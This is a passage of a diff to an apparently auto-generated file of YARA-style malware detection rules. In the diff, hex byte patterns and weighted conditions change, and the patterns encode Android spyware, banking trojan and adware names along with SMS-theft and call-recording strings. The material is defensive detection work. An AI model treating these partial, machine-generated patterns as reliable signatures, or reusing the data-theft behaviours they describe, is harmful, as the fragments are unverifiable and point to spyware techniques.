00 21 " @@ -322172,7 +338764,7 @@ rule _InfrastructureShared_24592{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*0+(#a_00_2 & 1)*0) >=6 } -rule _InfrastructureShared_24593{ +rule _InfrastructureShared_25886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322183,7 +338775,7 @@ rule _InfrastructureShared_24593{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_24594{ +rule _InfrastructureShared_25887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322195,7 +338787,7 @@ rule _InfrastructureShared_24594{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*29230+(#a_52_2 & 1)*20550) >=3 } -rule _InfrastructureShared_24595{ +rule _InfrastructureShared_25888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322206,29 +338798,40 @@ rule _InfrastructureShared_24595{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28520) >=2 } -rule _InfrastructureShared_24596{ +rule _InfrastructureShared_25889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 69 72 70 75 73 68 2e 42 21 4d 54 42 00 01 00 14 00 41 50 49 4b 45 59 3d 61 69 72 70 75 73 68 73 65 61 72 63 68 01 00 14 00 73 65 74 69 63 6f 6e 63 6c 69 63 6b 74 72 61 63 } //16675 - $a_67_1 = {00 be 5e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 50 21 4d 54 42 00 01 00 0e 01 63 6f 6d 2f 6a 61 76 61 2f 63 68 61 6d 70 01 00 19 03 03 00 0c 01 6e 10 90 01 01 dc 01 00 0c 01 6e 30 90 01 02 03 01 62 00 90 00 00 00 be 61 00 00 03 00 03 00 03 00 21 } //26987 + $a_67_1 = {00 be 5e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 50 21 4d 54 42 00 01 00 0e 01 63 6f 6d 2f 6a 61 76 61 2f 63 68 61 6d 70 01 00 19 03 03 00 0c 01 6e 10 90 01 01 dc 01 00 0c 01 6e 30 90 01 02 03 01 62 00 90 00 00 00 be 61 00 00 02 00 02 00 02 00 21 } //26987 condition: ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26987) >=2 } -rule _InfrastructureShared_24597{ +rule _InfrastructureShared_25890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 50 21 4d 54 42 00 01 00 0e 01 63 6f 6d 2f 6a 61 76 61 2f 63 68 61 6d 70 01 00 19 03 03 00 0c 01 6e 10 90 01 01 dc 01 00 0c 01 } //21539 - $a_01_1 = {02 03 01 62 00 90 00 00 00 be 61 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 43 31 00 01 00 1c 01 4c 63 6f 6d 2f 77 65 62 76 69 65 77 2f 57 65 62 56 69 65 77 41 63 74 69 76 69 74 79 01 00 0d 01 49 6d 61 67 65 20 43 68 6f 6f 73 65 72 01 00 08 01 6c 6f 61 64 5f 75 72 6c 00 00 be 61 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 50 55 41 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 } //12398 + $a_01_1 = {02 03 01 62 00 90 00 00 00 be 61 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 5a 21 4d 54 42 00 01 00 18 01 54 20 6c 09 54 01 14 09 6e 10 17 03 01 00 0c 01 6e 20 4a 04 31 00 0c 03 01 00 12 01 22 00 a3 03 54 21 8f 09 54 11 c2 09 70 30 6a 18 10 03 00 00 be 61 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 } //12398 condition: ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*12398) >=2 } -rule _InfrastructureShared_24598{ +rule _InfrastructureShared_25891{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 5a 21 4d 54 42 00 01 00 18 01 54 20 6c 09 54 01 14 09 6e 10 17 03 01 00 0c 01 6e 20 4a 04 31 00 0c 03 01 00 12 01 22 00 a3 03 } //21539 + $a_09_1 = {54 11 c2 09 70 30 6a 18 10 03 00 00 be 61 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 41 70 70 2e 43 31 00 01 00 1c 01 4c 63 6f 6d 2f 77 65 62 76 69 65 77 2f 57 65 62 56 69 65 77 41 63 74 69 76 69 74 79 01 00 0d 01 49 6d 61 67 65 20 43 68 6f 6f 73 65 72 01 00 08 01 6c 6f 61 64 5f 75 72 6c 00 00 be 61 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 50 55 41 3a 41 6e 64 72 6f 69 64 4f 53 } //8532 + condition: + ((#a_4c_0 & 1)*21539+(#a_09_1 & 1)*8532) >=2 + +} +rule _InfrastructureShared_25892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322240,7 +338843,7 @@ rule _InfrastructureShared_24598{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*0+(#a_25_2 & 1)*2050) >=3 } -rule _InfrastructureShared_24599{ +rule _InfrastructureShared_25893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -322250,7 +338853,7 @@ rule _InfrastructureShared_24599{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_24600{ +rule _InfrastructureShared_25894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -322260,7 +338863,7 @@ rule _InfrastructureShared_24600{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_24601{ +rule _InfrastructureShared_25895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 02 00 21 " @@ -322271,7 +338874,7 @@ rule _InfrastructureShared_24601{ ((#a_46_0 & 1)*16675+(#a_1c_1 & 1)*-9717) >=4 } -rule _InfrastructureShared_24602{ +rule _InfrastructureShared_25896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322282,7 +338885,7 @@ rule _InfrastructureShared_24602{ ((#a_41_0 & 1)*20515+(#a_00_3 & 1)*5) >=4 } -rule _InfrastructureShared_24603{ +rule _InfrastructureShared_25897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 04 00 21 " @@ -322290,12 +338893,12 @@ rule _InfrastructureShared_24603{ $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 70 79 2e 42 00 02 00 0e 00 4c 63 6f 6d 2f 70 73 69 70 68 6f 6e 33 2f 01 00 08 01 2f 53 6d 73 2e 74 78 74 01 00 07 00 73 65 74 2e 74 78 74 01 00 0d 00 55 70 } //16675 $a_64_1 = {69 6c 65 50 68 70 00 00 be 66 00 00 04 00 04 00 04 00 21 23 41 6e 64 72 6f 69 64 4f 53 2f 44 65 78 4c 6f 61 64 65 72 2e 41 00 01 00 0e 01 44 65 78 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 09 01 6c 6f 61 64 43 6c 61 73 73 01 00 0e 01 67 65 74 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 11 01 67 65 } //28524 $a_63_2 = {61 72 65 64 4d 65 74 68 6f 64 00 00 be 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 53 21 4d 54 42 00 01 00 18 01 22 00 98 02 70 20 11 0c 20 00 12 21 71 20 37 5e 01 00 0c 00 5b 20 4a 01 01 00 18 01 71 20 d7 79 01 00 22 00 } //17524 - $a_20_3 = {77 10 00 71 10 91 7f 00 00 0c 01 00 00 be 67 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 41 67 65 6e 74 2e 47 00 01 00 10 00 33 47 5f 44 49 41 4c 4f 47 5f 45 4e 41 42 4c 45 01 00 0e 00 41 4c 4c 4f 57 5f 53 45 4e 44 5f 53 4d 53 01 00 10 00 41 63 74 69 6f 6e 5f 4f 4b 5f } //4299 + $a_20_3 = {77 10 00 71 10 91 7f 00 00 0c 01 00 00 be 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 49 21 4d 54 42 00 01 00 16 01 6e 10 54 3a 04 00 0c 00 6e 10 f0 2a 00 00 0a 00 12 01 3c 00 03 00 01 00 1c 01 1a 00 cc 2d 71 20 02 38 02 00 71 10 9e 4d 02 00 0c 02 1a 00 fb 25 } //4299 condition: ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28524+(#a_63_2 & 1)*17524+(#a_20_3 & 1)*4299) >=5 } -rule _InfrastructureShared_24604{ +rule _InfrastructureShared_25898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322308,18 +338911,29 @@ rule _InfrastructureShared_24604{ ((#a_64_0 & 1)*16675+(#a_41_1 & 1)*25970+(#a_00_2 & 1)*31191+(#a_70_3 & 1)*-13568) >=4 } -rule _InfrastructureShared_24605{ +rule _InfrastructureShared_25899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 53 21 4d 54 42 00 01 00 18 01 22 00 98 02 70 20 11 0c 20 00 12 21 71 20 37 5e 01 00 0c 00 5b 20 4a 01 01 00 18 01 71 20 d7 79 } //21539 - $a_00_1 = {cb 10 70 20 05 77 10 00 71 10 91 7f 00 00 0c 01 00 00 be 67 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a } //1 + $a_00_1 = {cb 10 70 20 05 77 10 00 71 10 91 7f 00 00 0c 01 00 00 be 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a } //1 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1) >=2 } -rule _InfrastructureShared_24606{ +rule _InfrastructureShared_25900{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 49 21 4d 54 42 00 01 00 16 01 6e 10 54 3a 04 00 0c 00 6e 10 f0 2a 00 00 0a 00 12 01 3c 00 03 00 01 00 1c 01 1a 00 cc 2d 71 20 02 38 } //21539 + $a_10_1 = {9e 4d 02 00 0c 02 1a 00 fb 25 71 20 00 38 02 00 00 00 be 67 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 41 67 65 6e 74 2e 47 00 01 00 10 00 33 47 5f 44 49 41 4c 4f 47 5f 45 4e 41 42 4c 45 01 00 0e 00 41 4c 4c 4f 57 5f 53 45 4e 44 5f 53 4d 53 01 00 10 00 41 63 74 69 6f 6e } //2 + condition: + ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*2) >=2 + +} +rule _InfrastructureShared_25901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322331,7 +338945,7 @@ rule _InfrastructureShared_24606{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28521+(#a_31_2 & 1)*29743) >=3 } -rule _InfrastructureShared_24607{ +rule _InfrastructureShared_25902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322344,7 +338958,7 @@ rule _InfrastructureShared_24607{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*30324+(#a_63_2 & 1)*19566+(#a_61_3 & 1)*26212) >=4 } -rule _InfrastructureShared_24608{ +rule _InfrastructureShared_25903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 03 00 21 " @@ -322356,7 +338970,7 @@ rule _InfrastructureShared_24608{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12148+(#a_68_2 & 1)*30568) >=6 } -rule _InfrastructureShared_24609{ +rule _InfrastructureShared_25904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 03 00 21 " @@ -322367,7 +338981,7 @@ rule _InfrastructureShared_24609{ ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*24936) >=6 } -rule _InfrastructureShared_24610{ +rule _InfrastructureShared_25905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -322379,7 +338993,7 @@ rule _InfrastructureShared_24610{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*4+(#a_68_2 & 1)*0) >=12 } -rule _InfrastructureShared_24611{ +rule _InfrastructureShared_25906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 04 00 21 " @@ -322387,12 +339001,12 @@ rule _InfrastructureShared_24611{ $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 42 61 6e 6b 65 72 2e 4e 00 02 00 0e 01 61 64 70 74 65 72 5f 67 65 74 75 73 65 74 02 00 0b 01 52 42 4c 5f 4f 6e 5f 56 61 73 75 02 00 06 01 39 31 34 32 33 37 02 00 0e 01 } //16675 $a_74_1 = {72 5f 73 6d 73 72 65 61 64 00 00 be 6a 00 00 02 00 02 00 02 00 21 23 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 45 72 6d 61 63 2e 55 54 00 01 00 27 01 63 6f 6d 2e 6d 79 63 65 6c 69 75 6d 2e 77 61 6c 6c 65 74 3a 69 64 2f 74 76 53 68 6f 77 57 6f 72 64 4e 75 6d 62 65 72 01 00 16 01 69 73 41 64 6d 69 6e 44 65 76 69 63 65 20 73 } //25697 $a_65_2 = {73 33 00 00 be 6a 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 46 72 75 70 69 2e 42 00 01 00 1c 01 66 69 6c 65 50 61 74 68 3d 73 64 6b 2f 62 65 69 64 75 6f 5f 77 61 6c 6c 2e 7a 69 70 01 00 09 01 63 6f 6d 2e 62 64 2e 62 64 01 00 0d 01 73 68 6f 77 4f 66 66 65 72 57 61 6c 6c 01 00 0c } //25461 - $a_6f_3 = {4d 6f 72 65 41 70 70 73 00 00 be 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 46 21 4d 54 42 00 01 00 1a 01 63 6f 6d 2f 6d 6f 62 61 70 70 73 62 61 6b 65 72 2f 75 61 65 6f 66 66 65 72 73 01 00 1a 03 6e 10 b4 01 01 00 62 01 90 01 01 } //29441 + $a_6f_3 = {4d 6f 72 65 41 70 70 73 00 00 be 6b 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 6f 78 69 63 50 61 6e 64 61 2e 41 21 4d 54 42 00 01 00 13 01 26 63 6d 6f 64 65 3d 74 65 73 74 26 64 65 76 69 63 65 3d 01 00 0f 01 62 75 73 6b 65 74 6d 6f 6e 6d 61 73 74 65 72 01 00 } //29441 condition: ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25697+(#a_65_2 & 1)*25461+(#a_6f_3 & 1)*29441) >=6 } -rule _InfrastructureShared_24612{ +rule _InfrastructureShared_25907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322403,30 +339017,32 @@ rule _InfrastructureShared_24612{ ((#a_72_0 & 1)*14883+(#a_63_1 & 1)*30067) >=2 } -rule _InfrastructureShared_24613{ +rule _InfrastructureShared_25908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 46 72 75 70 69 2e 42 00 01 00 1c 01 66 69 6c 65 50 61 74 68 3d 73 64 6b 2f 62 65 69 64 75 6f 5f 77 61 6c 6c 2e 7a 69 70 01 00 09 01 63 6f 6d 2e 62 64 2e 62 64 01 00 0d 01 73 68 6f 77 4f 66 66 65 72 57 61 6c 6c 01 00 0c 01 73 68 6f 77 4d } //20515 - $a_41_1 = {70 73 00 00 be 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 46 21 4d 54 42 00 01 00 1a 01 63 6f 6d 2f 6d 6f 62 61 70 70 73 62 61 6b 65 72 2f 75 61 65 6f 66 66 65 72 73 01 00 1a 03 6e 10 b4 01 01 00 62 01 90 01 01 24 6e 10 } //29295 - $a_00_2 = {22 } //436 " + $a_41_1 = {70 73 00 00 be 6b 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 6f 78 69 63 50 61 6e 64 61 2e 41 21 4d 54 42 00 01 00 13 01 26 63 6d 6f 64 65 3d 74 65 73 74 26 64 65 76 69 63 65 3d 01 00 0f 01 62 75 73 6b 65 74 6d 6f 6e 6d 61 73 74 65 72 01 00 0d 01 2f } //29295 + $a_2e_2 = {68 70 3f 61 70 6b 3d 00 00 be 6b 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 4a 69 61 67 75 4d 41 4e 00 0a 00 2f 01 4c 63 6f 6d 2f 63 6f 63 6f 73 78 79 78 2f 62 62 62 71 6c 2f 75 69 2f 61 63 74 69 76 69 74 79 73 2f 53 70 6c 61 73 68 41 63 74 69 76 69 74 79 0a 00 11 01 4c 63 6f 6d 2f 73 74 75 62 2f 53 74 75 62 41 70 70 } //25697 + $a_6c_3 = {00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 50 64 66 52 65 61 64 65 72 53 6d 73 2e 41 21 64 68 61 00 01 00 14 01 77 72 6f 6e 67 70 61 73 73 77 6f 72 64 65 6e 74 65 72 65 64 01 00 16 01 74 68 65 72 65 20 69 73 6e 27 74 20 61 6e 79 20 53 4d 53 20 69 6e 01 00 06 01 74 62 6c 73 6d 73 00 00 be 6c 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 65 76 70 6e 2e 43 00 01 00 18 00 67 65 74 4d 6f 6e 65 74 69 7a 61 74 69 6f 6e 4d 6f 64 65 6c 4e 61 6d 65 01 00 1a 00 6c 6f 6f 6b 75 70 53 79 73 49 6e 65 74 53 6f 63 6b 65 74 } //0 condition: - ((#a_41_0 & 1)*20515+(#a_41_1 & 1)*29295+(#a_00_2 & 1)*436) >=4 + ((#a_41_0 & 1)*20515+(#a_41_1 & 1)*29295+(#a_2e_2 & 1)*25697+(#a_6c_3 & 1)*0) >=4 } -rule _InfrastructureShared_24614{ +rule _InfrastructureShared_25909{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 46 21 4d 54 42 00 01 00 1a 01 63 6f 6d 2f 6d 6f 62 61 70 70 73 62 61 6b 65 72 2f 75 61 65 6f 66 66 65 72 73 01 00 1a 03 6e 10 } //21539 - $a_00_1 = {62 } //436 b + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 6f 78 69 63 50 61 6e 64 61 2e 41 21 4d 54 42 00 01 00 13 01 26 63 6d 6f 64 65 3d 74 65 73 74 26 64 65 76 69 63 65 3d 01 00 0f 01 62 75 73 6b 65 74 6d 6f } //21539 + $a_73_1 = {65 72 01 00 0d 01 2f 61 64 76 2e 70 68 70 3f 61 70 6b 3d 00 00 be 6b 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 4a 69 61 67 75 4d 41 4e 00 0a 00 2f 01 4c 63 6f 6d 2f 63 6f 63 6f 73 78 79 78 2f 62 62 62 71 6c 2f 75 69 2f 61 63 74 69 76 69 74 79 73 2f 53 70 } //28014 + $a_68_2 = {63 74 69 76 69 74 79 0a 00 11 01 4c 63 6f 6d 2f 73 74 75 62 2f 53 74 75 62 41 70 70 00 00 be 6c 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 50 64 66 52 65 61 64 65 72 53 6d 73 2e 41 21 64 68 61 00 01 00 14 01 77 72 6f 6e 67 70 61 73 73 77 6f 72 64 65 6e 74 65 72 65 64 01 00 16 01 74 68 65 72 65 20 69 } //24940 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*436) >=2 + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*28014+(#a_68_2 & 1)*24940) >=3 } -rule _InfrastructureShared_24615{ +rule _InfrastructureShared_25910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -322437,7 +339053,7 @@ rule _InfrastructureShared_24615{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*25205) >=10 } -rule _InfrastructureShared_24616{ +rule _InfrastructureShared_25911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 21 " @@ -322449,7 +339065,7 @@ rule _InfrastructureShared_24616{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*8313+(#a_49_2 & 1)*31059) >=2 } -rule _InfrastructureShared_24617{ +rule _InfrastructureShared_25912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322461,7 +339077,7 @@ rule _InfrastructureShared_24617{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*30053+(#a_74_2 & 1)*26983) >=3 } -rule _InfrastructureShared_24618{ +rule _InfrastructureShared_25913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322473,7 +339089,7 @@ rule _InfrastructureShared_24618{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*5632+(#a_70_2 & 1)*12143) >=3 } -rule _InfrastructureShared_24619{ +rule _InfrastructureShared_25914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322486,7 +339102,7 @@ rule _InfrastructureShared_24619{ ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*29252+(#a_01_2 & 1)*30836+(#a_00_3 & 1)*14963) >=4 } -rule _InfrastructureShared_24620{ +rule _InfrastructureShared_25915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -322494,38 +339110,61 @@ rule _InfrastructureShared_24620{ $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 41 67 65 6e 74 2e 59 5a 00 01 00 05 01 41 62 61 75 74 01 00 0d 01 2f 43 6f 6e 74 61 63 74 73 2e 74 78 74 01 00 07 01 73 65 74 2e 74 78 74 01 00 07 01 53 4d 53 } //16675 $a_74_1 = {00 0a 01 55 70 6c 6f 61 64 4b 69 6c 6c 00 00 be 6e 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 67 65 6e 74 2e 4b 00 01 00 0c 01 75 70 6c 6f 61 64 52 65 63 6f 72 64 01 00 08 01 74 6f 74 61 6c 53 4d 53 01 00 10 01 53 6d 73 52 65 63 6f 72 64 69 6e 67 20 69 73 3a 01 00 10 01 43 61 6c 6c } //25940 $a_6f_2 = {64 69 6e 67 20 69 73 00 00 be 6f 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 61 77 6b 73 68 61 77 2e 43 00 01 00 0b 00 6d 65 2e 68 61 77 6b 73 68 61 77 01 00 0d 00 4c 6d 65 2f 68 61 77 6b 73 68 61 77 2f 01 00 0c 00 6d 65 2e 62 61 6c 64 } //25938 - $a_65_3 = {01 00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 42 6f 74 2e 41 00 01 00 13 01 4c 63 6f 6d 2f 6c 61 6e 67 75 61 67 65 2f 74 61 73 6b 2f 01 00 09 01 73 74 79 6c 65 73 6f 64 61 01 00 11 01 43 68 4c 4f 63 41 6b } //24944 - $a_5f_4 = {32 32 33 39 34 01 00 0b 01 77 6f 72 72 79 61 74 74 61 63 6b 00 00 be 71 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 65 6f 73 74 2e 42 32 00 01 00 0e 00 67 65 74 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 0e 00 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 09 00 6c 6f 61 64 43 6c 61 73 } //29550 + $a_65_3 = {01 00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 58 21 4d 54 42 00 01 00 17 03 8f 03 00 54 64 c1 2f 54 44 b7 30 6e 20 90 01 01 8f 43 00 1a 04 90 00 01 00 22 03 54 62 c2 2f 54 63 c1 2f 54 33 } //24944 + $a_10_4 = {90 01 01 8d 01 00 0c 04 6e 30 90 01 01 5d 32 04 0a 02 90 00 00 00 be 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 53 70 79 2e 58 21 4d 54 42 00 01 00 1f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 64 65 73 79 6e 63 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 00 1b 03 } //12476 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25940+(#a_6f_2 & 1)*25938+(#a_65_3 & 1)*24944+(#a_5f_4 & 1)*29550) >=5 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25940+(#a_6f_2 & 1)*25938+(#a_65_3 & 1)*24944+(#a_10_4 & 1)*12476) >=5 } -rule _InfrastructureShared_24621{ +rule _InfrastructureShared_25916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 67 65 6e 74 2e 4b 00 01 00 0c 01 75 70 6c 6f 61 64 52 65 63 6f 72 64 01 00 08 01 74 6f 74 61 6c 53 4d 53 01 00 10 01 53 6d 73 52 65 63 6f 72 64 69 6e 67 20 69 73 3a } //16675 $a_01_1 = {43 61 6c 6c 52 65 63 6f 72 64 69 6e 67 20 69 73 } //1 CallRecording is - $a_6f_2 = {00 02 00 02 00 